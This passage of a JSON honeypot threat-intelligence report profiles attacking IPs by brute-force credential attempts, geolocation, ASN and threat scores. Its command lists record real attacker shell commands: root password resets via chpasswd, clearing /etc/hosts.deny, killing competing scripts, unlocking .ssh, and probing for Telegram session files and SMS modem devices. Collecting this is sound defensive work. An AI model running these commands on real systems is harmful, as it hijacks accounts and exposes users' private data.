        "last_seen_30d": "2026-04-09T04:31:50.587000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 97
      }
    },
    "23.91.97.213": {
      "attack_count": 173,
      "first_seen": "2026-04-01T16:15:36.416Z",
      "last_seen": "2026-04-29T17:15:20.768Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres"
      ],
      "passwords_attempted": [
        "12345",
        "1!2@3#",
        "3245gs5662d34",
        "345gs5662d34",
        "AAqwerty123",
        "AaBb12!@",
        "AaBbCc123",
        "Abc111",
        "CDE123",
        "Gg123456Hh",
        "HH123456",
        "QQasdfgh",
        "QazWsxEdcRfv",
        "Qwe123456",
        "Switch123",
        "abc01",
        "abcd123456",
        "bbCC1234",
        "huawei789",
        "mmNN1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5sSNIDm7c1p0\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T16:15:36.416000+00:00",
        "last_seen_30d": "2026-04-29T18:38:36.269000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 67
      }
    },
    "148.230.169.229": {
      "attack_count": 172,
      "first_seen": "2026-04-10T16:41:08.952Z",
      "last_seen": "2026-04-10T17:15:46.787Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "ftpuser1",
        "git",
        "n8n",
        "testing"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123",
        "123321",
        "3245gs5662d34",
        "Root111!!",
        "Root11111111!@",
        "admin123",
        "n8n25",
        "omn",
        "qazwsx8888#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123321\\nFbJktRki4oLS\\nFbJktRki4oLS\\n\"|passwd",
        "echo \"root:tPdpHYRsN5NV\"|chpasswd|bash",
        "echo -e \"123321\\nFbJktRki4oLS\\nFbJktRki4oLS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Le\u00f3n",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:41:08.952000+00:00",
        "last_seen_30d": "2026-04-10T17:16:52.008000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 28
      }
    },
    "45.78.204.254": {
      "attack_count": 171,
      "first_seen": "2026-04-03T19:49:56.648Z",
      "last_seen": "2026-04-03T21:40:35.018Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "minecraft",
        "akshay",
        "ftpuser2",
        "git-admin",
        "labuser",
        "odoo",
        "oracle",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "102030",
        "12345678",
        "3245gs5662d34",
        "Aa1234567",
        "Odoo06",
        "Qq@123456789",
        "Qwer!@#$",
        "Root01!!",
        "Sm@123456",
        "ZXCasdqwe123",
        "aa123456.",
        "aaCC123",
        "akshay",
        "git-admin",
        "labuser",
        "mine",
        "oRACLE",
        "public",
        "qazwsx123456#$",
        "root11111!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mine\\naBmrCqbv3Tmw\\naBmrCqbv3Tmw\\n\"|passwd",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T19:49:56.648000+00:00",
        "last_seen_30d": "2026-04-03T21:41:40.016000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 61
      }
    },
    "181.65.191.218": {
      "attack_count": 168,
      "first_seen": "2026-04-28T09:55:46.523Z",
      "last_seen": "2026-04-28T10:28:43.954Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jumproot"
      ],
      "passwords_attempted": [
        "!QAZ2wsxzxcv",
        "!qaz@wsx!qaz@wsx",
        "*********",
        "123454321",
        "1qazqweQWE",
        "3245gs5662d34",
        "345gs5662d34",
        "77777777",
        "ABC1234",
        "HJKJHJGKHJK",
        "abcde123456",
        "bbbbbb",
        "frontal",
        "gyg0sd@GYGNBD",
        "jumproot",
        "knoppix",
        "kristin",
        "lsfadmin123456",
        "qwe555555",
        "qy123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Uw1soF44cKeH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lambayeque",
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:55:46.523000+00:00",
        "last_seen_30d": "2026-04-28T10:29:46.215000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "130.185.123.217": {
      "attack_count": 167,
      "first_seen": "2026-04-28T05:18:56.629Z",
      "last_seen": "2026-04-28T05:57:32.238Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qwe123QWE",
        "123qweasd@",
        "3245gs5662d34",
        "345gs5662d34",
        "789789",
        "Hw123456!",
        "Pass@12345",
        "Subby123123",
        "Toor123",
        "adminqwe",
        "aq1sw2de",
        "cnlinkIDC@2024",
        "jake123",
        "libin",
        "liferay",
        "m00nlight",
        "mm1709",
        "neutrino",
        "qaz123!@#",
        "qwe123.com"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:O0NRYgfqGPE6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 57568,
      "as_org": "Arvancloud Global Technologies L.L.C",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T05:18:56.629000+00:00",
        "last_seen_30d": "2026-04-28T05:58:40.809000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 50
      }
    },
    "154.241.50.202": {
      "attack_count": 129,
      "first_seen": "2026-04-23T07:20:02.239Z",
      "last_seen": "2026-04-23T07:32:27.379Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "dev",
        "n8n",
        "345gs5662d34",
        "ftpuser",
        "git",
        "oracle",
        "root",
        "user",
        "user40"
      ],
      "passwords_attempted": [
        "123654",
        "3245gs5662d34",
        "345gs5662d34",
        "Dev20",
        "Ht123456.",
        "N8n03!",
        "Oracle15",
        "Password01",
        "Postgres24!",
        "Postgres26!",
        "abc@123",
        "dev!123",
        "n8n9",
        "user40"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Postgres24!\\nPfaBm1ucw3Bp\\nPfaBm1ucw3Bp\\n\"|passwd",
        "echo -e \"Postgres24!\\nPfaBm1ucw3Bp\\nPfaBm1ucw3Bp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Deli Ibrahim",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:20:02.239000+00:00",
        "last_seen_30d": "2026-04-23T07:33:28.117000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 31
      }
    },
    "34.78.234.20": {
      "attack_count": 71,
      "first_seen": "2026-04-23T12:00:19.115Z",
      "last_seen": "2026-04-23T12:01:02.081Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9653",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T12:00:19.115000+00:00",
        "last_seen_30d": "2026-04-23T12:02:12.149000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "175.107.2.5": {
      "attack_count": 50,
      "first_seen": "2026-04-15T04:23:06.140Z",
      "last_seen": "2026-04-15T04:28:30.159Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T04:23:06.140000+00:00",
        "last_seen_30d": "2026-04-15T04:29:35.468000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.169.180": {
      "attack_count": 50,
      "first_seen": "2026-04-11T11:13:38.010Z",
      "last_seen": "2026-04-11T11:19:11.140Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:13:38.010000+00:00",
        "last_seen_30d": "2026-04-11T11:20:18.489000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.233.131.21": {
      "attack_count": 48,
      "first_seen": "2026-04-29T19:01:09.444Z",
      "last_seen": "2026-04-29T19:05:25.879Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xinxiang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T19:01:09.444000+00:00",
        "last_seen_30d": "2026-04-29T19:05:25.879000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48
      }
    },
    "115.160.79.71": {
      "attack_count": 35,
      "first_seen": "2026-04-07T20:00:41.374Z",
      "last_seen": "2026-04-07T20:02:16.802Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 9694,
      "as_org": "Seokyung Cable Television Co.. Ltd.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T20:00:41.374000+00:00",
        "last_seen_30d": "2026-04-07T20:03:23.395000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "188.166.161.168": {
      "attack_count": 33,
      "first_seen": "2026-04-24T21:28:31.699Z",
      "last_seen": "2026-04-26T06:50:27.149Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil",
        "admin"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T21:28:31.699000+00:00",
        "last_seen_30d": "2026-04-26T06:51:35.628000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 29,
        "Honeytrap": 5
      }
    },
    "223.83.107.198": {
      "attack_count": 33,
      "first_seen": "2026-04-20T03:13:08.132Z",
      "last_seen": "2026-04-20T03:15:41.292Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T03:13:08.132000+00:00",
        "last_seen_30d": "2026-04-20T03:16:48.829000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 4
      }
    },
    "45.148.10.147": {
      "attack_count": 32,
      "first_seen": "2026-04-05T13:03:10.743Z",
      "last_seen": "2026-04-26T10:04:24.878Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:03:10.743000+00:00",
        "last_seen_30d": "2026-04-26T10:05:27.157000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "1.234.75.81": {
      "attack_count": 29,
      "first_seen": "2026-04-11T08:04:12.813Z",
      "last_seen": "2026-04-17T12:17:46.580Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1kelltech",
        "@2025kelltech",
        "Kelltech1@",
        "Kelltech2025!",
        "kelltech1234!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T08:04:12.813000+00:00",
        "last_seen_30d": "2026-04-17T12:18:54.474000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 21
      }
    },
    "2.26.99.172": {
      "attack_count": 25,
      "first_seen": "2026-04-07T10:11:40.644Z",
      "last_seen": "2026-04-07T10:29:14.112Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Penarth",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:08:23.304000+00:00",
        "last_seen_30d": "2026-04-07T10:30:25.057000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 15
      }
    },
    "176.65.148.109": {
      "attack_count": 24,
      "first_seen": "2026-04-01T09:26:42.015Z",
      "last_seen": "2026-04-07T23:14:16.199Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:26:42.015000+00:00",
        "last_seen_30d": "2026-04-08T14:33:53.025000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Cowrie": 24
      }
    },
    "185.93.89.29": {
      "attack_count": 23,
      "first_seen": "2026-04-10T13:46:50.089Z",
